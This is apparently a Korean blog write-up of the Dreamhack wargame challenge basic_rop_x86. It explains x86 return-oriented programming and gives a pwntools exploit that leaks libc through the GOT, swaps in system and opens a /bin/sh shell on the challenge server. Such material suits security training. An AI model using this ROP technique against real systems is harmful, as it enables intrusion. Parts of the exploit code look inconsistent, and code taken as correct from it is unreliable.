Dreamhack basic_rop_x86 문제 풀이 방향
https://dreamhack.io/wargame/challenges/30
basic_rop_x86
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일
dreamhack.io
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) |
i386-32 비트이다. 디스어셈블을 해보면, 스택프레임이 0x44까지 되어있다.

32bit를 생각하고 그림을 그렸을 떄 아래와 같이 나올 것이다.

basic_rop_x64 를 풀었다고 가정하고, X86에 방향만 정리해보려고 한다.
ROP X86 관련 자료가 잘 정리되어 있는 페이지이다.
https://www.lazenca.net/display/TEC/01.ROP%28Return+Oriented+Programming%29-x86
01.ROP(Return Oriented Programming)-x86 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태
www.lazenca.net
POP POP POP RET 는 세개의 인자가 있는 함수에서 사용되고,
POP 명령어의 피연산자 값은 중요하지 않고,
RTL에 호출할 함수의 다음영역에 System함수의 가젯 주소를 저장함으로서 다음 함수를 연속 호출할 수 있다.

u64랑 p64를 u32, p32로 바꾼다.
함수 호출규약에 맞게 write함수 등을 호출한다
# write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)
Exploit
from pwn import *
#p = process('./basic_rop_x86', env= {"LD_PRELOAD" : "./libc.so.6"})
p = remote('host3.dreamhack.games', 20725)
e = ELF('basic_rop_x86')
l = ELF('./libc.so.6', checksec=False)
def slog(n, m):
success(" : ".join([n, hex(m)]))
context.arch = 'i386'
# GET Gadget
# ROPgadget --binary ./basic_rop_x86 --re "pop"
# 0x08048689 : pop esi ; pop edi ; pop ebp ; ret
pppr = 0x08048689
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.plt['write']
slog('READ_PLT', read_plt)
slog('READ_GOT', read_got)
slog('WRITE_PLT', write_plt)
# Exploit
payload = b'A' * 0x44 + b'B' * 0x04
# WRITE 함수 호출 write(1,read_got,4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)
# Read함수 호출 read(0, read_got, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0) + p32(read_got) + p32(len(str(read_got)) + 0x04)
# SYSTEM 함수로 변경
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(read_got + 0x04)
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u32(p.recvn(4))
libc_base = read - l.symbols['read']
slog('LIB BASE', libc_base)
system = libc_base + l.symbols['system']
slog('system ', system)
p.send(p32(system) + b'/bin/sh\x00')
p.interactive()

'System (Pwnable)' 카테고리의 다른 글
PIE 및 RELocation Read-Only(RELRO) 우회방안 (0) | 2025.03.10 |
---|---|
basic_rop_x64 Writeup (0) | 2025.03.09 |
Dreamhack rop writeup (0) | 2025.03.08 |
Dreamhack Return to Library Writeup (0) | 2025.03.06 |
NX 및 ASLR 우회방안 - PLT GOT 설명 (0) | 2025.03.06 |